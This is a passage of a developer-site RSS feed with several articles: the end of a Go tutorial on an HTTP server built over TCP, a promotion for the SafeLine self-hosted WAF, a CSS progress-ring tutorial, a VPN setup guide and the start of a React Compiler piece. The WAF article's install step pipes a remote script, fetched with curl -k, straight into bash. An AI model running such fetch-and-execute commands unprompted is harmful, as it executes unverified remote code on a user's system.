res.StatusText = text
}

func (res *Response) Send(w io.Writer) error {
// We use a builder to efficiently glue all our text together
var builder strings.Builder

// 1. Start with the Status Line
fmt.Fprintf(&amp;amp;builder, &quot;HTTP/1.1 %d %s\r\n&quot;, res.StatusCode, res.StatusText)

// Automatically count bytes so the client knows when to stop reading
res.SetHeader(&quot;Content-Length&quot;, fmt.Sprintf(&quot;%d&quot;, len(res.Body)))

// 2. Add all the headers, making sure to use \r\n
for key, val := range res.Headers {
fmt.Fprintf(&amp;amp;builder, &quot;%s: %s\r\n&quot;, key, val)
}

// 3. Add the blank line that tells the client headers are done
fmt.Fprint(&amp;amp;builder, &quot;\r\n&quot;)

// Push the constructed text block to the socket
_, err := w.Write([]byte(builder.String()))
if err != nil { return err }

// 4. Finally, push the raw body payload (if we have one)
if len(res.Body) &amp;gt; 0 {
_, err = w.Write(res.Body)
}
return err
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why I build it this way:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Automatic Content-Length:&lt;/strong&gt; We count the bytes of our body payload right before sending and set the &lt;code&gt;Content-Length&lt;/code&gt; header ourselves. If we don't tell the client exactly how much data to expect, it might hang forever waiting for more.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Send in one go:&lt;/strong&gt; We build the entire text block of headers in memory first, and then send it all at once. This keeps things fast and simple.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id=&quot;6-testing-the-server-with-curl--v&quot;&gt;6. Testing the Server with &lt;code&gt;curl -v&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Now that every component is in place, we can start our server and test it using &lt;code&gt;curl -v&lt;/code&gt; (verbose mode).&lt;/p&gt;
&lt;p&gt;You can automate this using a simple &lt;code&gt;Makefile&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-makefile&quot;&gt;.PHONY: start test-get test-users test-post test-404

start:
go run ./main.go

test-get:
curl -v http://localhost:8080/

test-users:
curl -v http://localhost:8080/users

test-post:
curl -v -X POST http://localhost:8080/users \
-H &quot;Content-Type: text/plain&quot; \
-d &quot;This is super horsey TCP/IP payload.&quot;

test-404:
curl -v http://localhost:8080/non-existent-path

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run &lt;code&gt;make start&lt;/code&gt; in one terminal, and &lt;code&gt;make test-users&lt;/code&gt; in another. Here is what the raw TCP exchange looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;* Connected to localhost (127.0.0.1) port 8080
&amp;gt; GET /users HTTP/1.1
&amp;gt; Host: localhost:8080
&amp;gt; User-Agent: curl/8.0.0
&amp;gt; Accept: */*
&amp;gt; 
&amp;lt; HTTP/1.1 200 OK
&amp;lt; Content-Type: application/json
&amp;lt; Content-Length: 35
&amp;lt; 
{&quot;message&quot;: &quot;user list endpoint&quot;}

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Lines starting with &lt;code&gt;&amp;gt;&lt;/code&gt; are the raw plain-text HTTP request bytes sent by &lt;code&gt;curl&lt;/code&gt; over the TCP socket.&lt;/li&gt;
&lt;li&gt;The empty line right after &lt;code&gt;Accept: */*&lt;/code&gt; is the &lt;code&gt;\r\n\r\n&lt;/code&gt; boundary our parser scanned for.&lt;/li&gt;
&lt;li&gt;Lines starting with &lt;code&gt;&amp;lt;&lt;/code&gt; are the raw response bytes constructed by our &lt;code&gt;response.Send&lt;/code&gt; function and pushed down the socket.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because HTTP is fundamentally plain text over TCP, you could even talk to this server by sending raw text through Netcat (&lt;code&gt;nc localhost 8080&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Source Code: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/devxdh/http-from-tcp&quot;&gt;http-from-tcp&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Building an HTTP server from scratch demystified a lot of networking magic. Hope you got some value form this blog :).&lt;/p&gt;
</description>
<category>Tutorials</category>
<guid isPermaLink="true">https://coderlegion.com/27310/building-an-http-server-from-scratch-using-tcp</guid>
<pubDate>Tue, 15 Sep 2026 20:00:16 +0000</pubDate>
</item>
<item>
<title>Self-Hosted WAF Alternatives to Cloudflare: Where SafeLine Fits In</title>
<link>https://coderlegion.com/27149/self-hosted-waf-alternatives-to-cloudflare-where-safeline-fits-in</link>
<description>&lt;p&gt;A lot of teams start their &quot;Cloudflare alternative&quot; search because they want more control, lower or predictable costs, or to keep traffic and logs on their own infrastructure. The good news: you don't have to stay locked into a cloud WAF. Self-hosted Web Application Firewalls put the protection layer on servers you own. Here we'll look at what to evaluate and where SafeLine WAF fits.&lt;/p&gt;
&lt;h3 id=&quot;what-self-hosted-actually-buys-you&quot;&gt;What &quot;self-hosted&quot; actually buys you&lt;/h3&gt;
&lt;p&gt;Running your own WAF means the inspection engine, rules, and logs all live on your infrastructure. That translates into:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Data sovereignty&lt;/strong&gt; — request and attack data never leaves your network.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Predictable cost&lt;/strong&gt; — you pay for your own compute, not per-request fees that balloon with traffic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Full control&lt;/strong&gt; — change rules via API or UI, on your own schedule.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;what-to-compare-before-you-switch&quot;&gt;What to compare before you switch&lt;/h3&gt;
&lt;p&gt;When evaluating a self-hosted option, look at:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Deployment effort&lt;/strong&gt; — a Docker Compose deployment beats compiling from source.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detection quality&lt;/strong&gt; — can it catch SQL injection, command injection, and known CVE probing without drowning you in false positives?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rule flexibility&lt;/strong&gt; — can you write your own rules for app-specific threats?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Management at scale&lt;/strong&gt; — can one console manage many nodes across datacenters?&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;where-safeline-fits-3&quot;&gt;Where SafeLine fits&lt;/h3&gt;
&lt;p&gt;SafeLine WAF checks those boxes for teams that want a free, self-hosted starting point:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Free Community Edition&lt;/strong&gt; — up to 10 apps and 800 QPS, no per-request billing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Easy install&lt;/strong&gt; — one command, English supported:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Central management&lt;/strong&gt; — one portal oversees multiple nodes across datacenters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Open API&lt;/strong&gt; — automate policy and site management instead of clicking through a UI.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detailed attack logs&lt;/strong&gt; — full request, matched rule, and client fingerprint help you triage fast.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It's a practical middle ground: more control than a cloud WAF, far less upkeep than building your own rules engine from scratch.&lt;/p&gt;
&lt;h3 id=&quot;is-a-self-hosted-waf-right-for-you-&quot;&gt;Is a self-hosted WAF right for you?&lt;/h3&gt;
&lt;p&gt;If you already run servers and have someone comfortable with Docker and Nginx, a self-hosted WAF is very approachable — one node for a few sites is nearly plug-and-play. If your team lacks infrastructure engineering capacity and you're running a complex multi-node cluster, a managed service may be the better fit until your ops maturity catches up.&lt;/p&gt;
&lt;h3 id=&quot;faq-12&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;what-s-the-catch-with-a-free-self-hosted-waf-&quot;&gt;What's the catch with a free self-hosted WAF?&lt;/h4&gt;
&lt;p&gt;You own the operations. The software is free, but you supply the server and the monitoring.&lt;/p&gt;
&lt;h4 id=&quot;can-i-keep-my-current-reverse-proxy-&quot;&gt;Can I keep my current reverse proxy?&lt;/h4&gt;
&lt;p&gt;Yes. SafeLine runs in front as a reverse proxy, so Nginx or your existing setup can stay behind it.&lt;/p&gt;
&lt;h4 id=&quot;how-many-sites-can-the-free-edition-protect-&quot;&gt;How many sites can the free edition protect?&lt;/h4&gt;
&lt;p&gt;The Community Edition covers up to 10 applications at 800 QPS.&lt;/p&gt;
&lt;h4 id=&quot;does-it-work-across-multiple-datacenters-&quot;&gt;Does it work across multiple datacenters?&lt;/h4&gt;
&lt;p&gt;Yes — a single portal can manage nodes spread across different datacenters.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Ready to keep your edge protection on infrastructure you control?&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⭐ &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;SafeLine WAF on GitHub&lt;/a&gt; — give it a star if you find it useful&lt;/li&gt;
&lt;li&gt;🔗 &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;Official Docs&lt;/a&gt; — installation guide, configuration, and API reference&lt;/li&gt;
&lt;li&gt;🧪 &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;Live Demo&lt;/a&gt; — see the dashboard in action (no login required)&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27149/self-hosted-waf-alternatives-to-cloudflare-where-safeline-fits-in</guid>
<pubDate>Mon, 14 Sep 2026 11:06:56 +0000</pubDate>
</item>
<item>
<title>Building Circular UI with circle-progress.fscss (No JavaScript)</title>
<link>https://coderlegion.com/27092/building-circular-ui-with-circle-progress-fscss-no-javascript</link>
<description>&lt;p&gt;Circular progress, pie charts, and step rings usually mean SVG path math or a chart library.&lt;br&gt;
&lt;strong&gt;circle-progress.fscss&lt;/strong&gt; does it with pure CSS — &lt;code&gt;conic-gradient&lt;/code&gt;, masks, and FSCSS &lt;code&gt;@define&lt;/code&gt; helpers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Repo: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Figsh/Circle-progress.fscss&quot;&gt;Figsh/Circle-progress.fscss&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/u3yctwx3zjyki8kezc2l.jpg&quot; alt=&quot;Showcase grid — ring, pie, steps, nested&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-you-get&quot;&gt;What you get&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Component &lt;/th&gt;&lt;th&gt;Define&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Progress ring &lt;/td&gt;&lt;td&gt;&lt;code&gt;@circle-progress&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Solid pie &lt;/td&gt;&lt;td&gt;&lt;code&gt;@circle-pie&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Multi-slice pie &lt;/td&gt;&lt;td&gt;&lt;code&gt;@circle-pie-multi&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Steps ring &lt;/td&gt;&lt;td&gt;&lt;code&gt;@circle-steps&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Nested rings &lt;/td&gt;&lt;td&gt;Compose by nesting elements&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;All driven by CSS variables. Change &lt;code&gt;--progress-value&lt;/code&gt; and the arc follows.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;setup-3&quot;&gt;Setup&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option A — runtime (quick / prototyping)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;script src=&quot;https://cdn.jsdelivr.net/npm/fscss@1.2.1/runtime.min.js&quot; defer&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Option B — CLI compile (production)&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;It works well with &lt;a rel=&quot;nofollow&quot; href=&quot;https://marketplace.visualstudio.com/items?itemName=Figsh.fscss&quot;&gt;FSCSS vscode extention&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install -g fscss
fscss styles.fscss styles.css
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Import the module:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@import((*) from circle-progress)

@progress-root()
@circle-progress(.progress-circle)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Full sample page:&lt;br&gt;
&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Figsh/Circle-progress.fscss/blob/main/samples/example.html&quot;&gt;samples/example.html&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;1-progress-ring&quot;&gt;1. Progress ring&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/xyniobclqzivp7pwc619.jpg&quot; alt=&quot;Green 72% progress ring&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&quot;progress-circle p72&quot;&amp;gt;72%&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.p72 { @progress-range(72) }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Under the hood: a &lt;code&gt;conic-gradient&lt;/code&gt; draws the arc, a radial mask cuts the hole, and a small tip marker rotates with the value.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;2-color-override&quot;&gt;2. Color override&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/kvovpuo4y94ms69x0z71.jpg&quot; alt=&quot;Blue 41% ring&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.p41 {
  @progress-range(41)
  --progress-color-arc: #4d9fff;
  --progress-color-glow: rgba(77, 159, 255, 0.45);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same component — only tokens change.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/f839tpmxd3x6h2guoapq.jpg&quot; alt=&quot;Amber 88% ring&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.p88 {
  @progress-range(88)
  --progress-color-arc: #ffb830;
  --progress-color-glow: rgba(255, 184, 48, 0.4);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;3-pie-slice&quot;&gt;3. Pie slice&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/mf1n05au58qgg8q12rmo.jpg&quot; alt=&quot;Solid 30% pie&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&quot;circle-pie p30&quot;&amp;gt;30%&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@circle-pie(.circle-pie)
.p30 { @progress-range(30) --progress-color-arc: #ff5070; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No mask — the conic fill is the whole disk.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;4-multi-pie&quot;&gt;4. Multi pie&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/y5j9mdr3u7kj5s3shbjd.jpg&quot; alt=&quot;4-slice multi pie&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&quot;circle-pie-multi pie-a&quot;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@circle-pie-multi(.circle-pie-multi)

.pie-a {
  --pie-a: 30;
  --pie-b: 25;
  --pie-c: 20;
  --pie-d: 15;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Four slices from four percentage tokens.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;5-steps-ring&quot;&gt;5. Steps ring&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/kf4fdn5b2sku8i69g0gh.jpg&quot; alt=&quot;Steps 5/8&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&quot;circle-steps steps-5&quot;&amp;gt;5/8&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@circle-steps(.circle-steps)
.steps-5 { @steps-done(5) @steps-total(8) }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/5wn0qso3ir24p8yls4ka.jpg&quot; alt=&quot;Steps 3/6 violet&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.steps-3 {
  @steps-done(3)
  @steps-total(6)
  --progress-color-arc: #9d7eff;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;6-nested-rings&quot;&gt;6. Nested rings&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/0t2ioeqg26kwji0w9gta.jpg&quot; alt=&quot;Nested green outer + blue inner&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&quot;progress-circle p72&quot; style=&quot;--progress-size:200px&quot;&amp;gt;
  &amp;lt;div class=&quot;progress-circle p41&quot;
       style=&quot;--progress-size:120px;--progress-stroke:10px&quot;&amp;gt;
    41
  &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same define, different size/stroke on the child — composition without new APIs.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;mental-model-1&quot;&gt;Mental model&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Tokens&lt;/strong&gt; — &lt;code&gt;@progress-root()&lt;/code&gt; sets size, stroke, colors, value.  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shape&lt;/strong&gt; — one &lt;code&gt;@define&lt;/code&gt; per pattern (ring, pie, steps).  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Value&lt;/strong&gt; — &lt;code&gt;@progress-range(n)&lt;/code&gt; or &lt;code&gt;--progress-value&lt;/code&gt;.  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Theme&lt;/strong&gt; — override &lt;code&gt;--progress-color-arc&lt;/code&gt; / &lt;code&gt;--progress-color-glow&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;No SVG paths. No chart library. Change a variable, the circle updates.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;when-to-use-runtime-vs-cli&quot;&gt;When to use runtime vs CLI&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Use case &lt;/th&gt;&lt;th&gt;Prefer&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Demos, CodePen, quick tests &lt;/td&gt;&lt;td&gt;CDN &lt;strong&gt;runtime&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Production, static deploy &lt;/td&gt;&lt;td&gt;&lt;strong&gt;CLI&lt;/strong&gt; compile to plain CSS&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Runtime keeps FSCSS syntax in the page. CLI ships zero-runtime CSS.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;try-it&quot;&gt;Try it&lt;/h3&gt;
&lt;p&gt;Clone or copy from the repo and open the sample:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/Figsh/Circle-progress.fscss&quot;&gt;github.com/Figsh/Circle-progress.fscss&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
Sample: &lt;code&gt;samples/example.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Swap values, nest rings, add a pie — same module, different tokens.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Built with FSCSS &lt;code&gt;@define&lt;/code&gt; · pure CSS circular UI&lt;/em&gt;&lt;/p&gt;
</description>
<category>Tutorials</category>
<guid isPermaLink="true">https://coderlegion.com/27092/building-circular-ui-with-circle-progress-fscss-no-javascript</guid>
<pubDate>Sun, 13 Sep 2026 23:02:30 +0000</pubDate>
</item>
<item>
<title>VPN Client, Profile, and Service: Three Roles to Check During Setup</title>
<link>https://coderlegion.com/27048/vpn-client-profile-and-service-three-roles-to-check-during-setup</link>
<description>&lt;p&gt;A working VPN setup involves software, connection instructions, and a service account. This guide separates those responsibilities so that an import problem is not confused with a connection-state or profile-management question.&lt;/p&gt;
&lt;p&gt;By Mohammad Hesameddin Montazerilisar. This article is adapted from the author’s &lt;a rel=&quot;nofollow&quot; href=&quot;https://lisar.io/articles/vpn-client-profile-service-explained&quot;&gt;original Lisar Connect article&lt;/a&gt;, first published July 8, 2026 and updated September 11, 2026. The author writes technical guidance for Lisar Connect. AI assisted the editing and presentation of this human-authored source.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Illustration of a client connection-status dashboard, not a screenshot of the current Lisar UI or a measured test.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-client-runs-the-connection&quot;&gt;The client runs the connection&lt;/h2&gt;
&lt;p&gt;The VPN client is the program on your device that establishes and maintains the connection: the software with the connect control, status indicator, and prompts. In an OpenVPN Connect setup, it reads the imported OpenVPN profile and runs the connection on the device.&lt;/p&gt;
&lt;p&gt;Client, profile, and service describe different roles. The client runs the connection, the profile supplies its connection settings, and the service manages the account, profiles, and plan. Follow the current setup guide for your device and profile when choosing the software and settings to use.&lt;/p&gt;
&lt;p&gt;This distinction matters before troubleshooting begins. A client can be installed without the intended profile being present. A profile can be imported without a connection being established. Check the stage that has actually completed instead of treating the app's presence as proof that every part is ready.&lt;/p&gt;
&lt;h2 id=&quot;the-profile-supplies-the-connection-instructions&quot;&gt;The profile supplies the connection instructions&lt;/h2&gt;
&lt;p&gt;The client needs to be told what connection to run, and that is the profile's job. In the documented OpenVPN Connect flow, the profile arrives as a &lt;code&gt;.ovpn&lt;/code&gt; file carrying the setup information for that particular connection. Obtain it from the approved source for your own assignment and follow the guide for the intended device.&lt;/p&gt;
&lt;p&gt;The file-import sequence brings the parts together: obtain the current &lt;code&gt;.ovpn&lt;/code&gt; file, open OpenVPN Connect, choose Upload File, import and save the profile, and connect. The exact screens depend on the client version and device; the current supported guide takes precedence over remembered button wording.&lt;/p&gt;
&lt;p&gt;Because the file carries profile-specific setup information, treat it as sensitive material. Do not paste its contents into a support ticket or public discussion. Do not pass it through casual chats or shared folders. When a new device needs setup, use the approved download and assignment process rather than borrowing another person's file.&lt;/p&gt;
&lt;h2 id=&quot;the-service-manages-accounts-profiles-and-plans&quot;&gt;The service manages accounts, profiles, and plans&lt;/h2&gt;
&lt;p&gt;Behind the client and file sits the service layer. It manages the account, profiles, and plan. Its current management interface is where profile-specific questions belong: which assignment is current, what the plan includes, and what status the service records for a profile.&lt;/p&gt;
&lt;p&gt;Connection-state questions start at the client and device in front of you. Questions about the client software belong with its maker's documentation. Profile and plan questions belong with the service's management interface and official support. A status shown in one layer does not automatically answer a question about another.&lt;/p&gt;
&lt;h2 id=&quot;ask-each-part-the-right-question&quot;&gt;Ask each part the right question&lt;/h2&gt;
&lt;p&gt;The service layer manages the assignment, the profile carries the instructions, and the client runs them. In the documented OpenVPN Connect flow, these roles meet in that order: management interface to file to client. Other supported setup paths use the settings and software specified in their own guides.&lt;/p&gt;
&lt;p&gt;Consider three common questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;“The button says disconnected.”&lt;/strong&gt; Start with the current client and device state. Record the wording and the stage where setup stopped.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;“Is my profile still active, and what does my plan include?”&lt;/strong&gt; Check the current service-side information, rather than inferring it from an old downloaded file.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;“Which file should this new tablet use?”&lt;/strong&gt; Confirm the intended assignment and obtain its current profile through the supported process for that device.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This keeps a support request precise. Instead of “my VPN is missing,” describe which client is installed, whether the intended profile has been imported, what the client currently reports, and which service-side status you checked. Keep the profile contents and other secrets out of that record.&lt;/p&gt;
&lt;h2 id=&quot;keep-expectations-within-each-layer&quot;&gt;Keep expectations within each layer&lt;/h2&gt;
&lt;p&gt;The client reports connection state; it does not decide what an unrelated website or application does with the traffic. The profile supplies connection settings; it does not grant permission to use unrelated accounts or services. The service manages its own plans and profiles; it does not override the rules of networks or devices you do not control.&lt;/p&gt;
&lt;p&gt;On a managed device, follow the organization's setup process. Use the supported client and assigned profile, then verify the connection separately. The model is useful because it gives each question an appropriate starting point without promising that one status indicator proves everything.&lt;/p&gt;
&lt;h2 id=&quot;frequently-asked-questions&quot;&gt;Frequently asked questions&lt;/h2&gt;
&lt;h3 id=&quot;is-openvpn-connect-itself-the-vpn-service-&quot;&gt;Is OpenVPN Connect itself the VPN service?&lt;/h3&gt;
&lt;p&gt;No. OpenVPN's documentation distinguishes its client application from the compatible server or service that supplies the connection profile.&lt;/p&gt;
&lt;h3 id=&quot;does-importing-a-profile-mean-i-am-connected-&quot;&gt;Does importing a profile mean I am connected?&lt;/h3&gt;
&lt;p&gt;Importing makes the profile available to the client. Check the client's current connection state after the connection step; do not infer it from an import confirmation.&lt;/p&gt;
&lt;h3 id=&quot;where-should-a-profile-or-plan-question-go-&quot;&gt;Where should a profile or plan question go?&lt;/h3&gt;
&lt;p&gt;Use the service's current management interface and official support. For client-software questions, use the client's own documentation. Do not share profile contents to explain which layer you are checking.&lt;/p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://openvpn.net/connect-docs/import-profile.html&quot;&gt;OpenVPN Connect: Import a Profile&lt;/a&gt; — the file-import flow and the distinction between client and service.&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://openvpn.net/connect-docs/get-connection-profile.html&quot;&gt;OpenVPN Connect: How to Get Your Connection Profile&lt;/a&gt; — obtaining the profile from the responsible provider, administrator, or supported server setup.&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27048/vpn-client-profile-and-service-three-roles-to-check-during-setup</guid>
<pubDate>Sun, 13 Sep 2026 09:55:01 +0000</pubDate>
</item>
<item>
<title>React Compiler in 2026: Do You Still Need useMemo and useCallback?</title>
<link>https://coderlegion.com/26933/react-compiler-in-2026-do-you-still-need-usememo-and-usecallback</link>
<description>&lt;h2 id=&quot;introduction-1&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;If you've been following React news this year, you've probably seen React Compiler come up constantly. Since its stable release, adoption has picked up fast, and it's changing a conversation that's been going on in the React community for years: do developers actually need to think about &lt;code&gt;useMemo&lt;/code&gt;, &lt;code&gt;useCallback&lt;/code&gt;, and &lt;code&gt;React.memo&lt;/code&gt; anymore?&lt;/p&gt;
&lt;p&gt;Short answer: less than before, but not zero. Let's break down what's actually changed.&lt;/p&gt;
&lt;h2 id=&quot;what-react-compiler-actually-does&quot;&gt;What React Compiler Actually Does&lt;/h2&gt;
&lt;p&gt;React Compiler is a build-time tool that automatically analyzes your components and inserts memoization for you — the same kind of optimization you'd previously write by hand with &lt;code&gt;useMemo&lt;/code&gt; and &lt;code&gt;useCallback&lt;/code&gt;, except the compiler figures out where it's actually needed and applies it during your build step.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// What you write
function ProductList({ products, searchTerm }) {
  const filtered = products.filter(p =&amp;gt; p.name.includes(searchTerm));
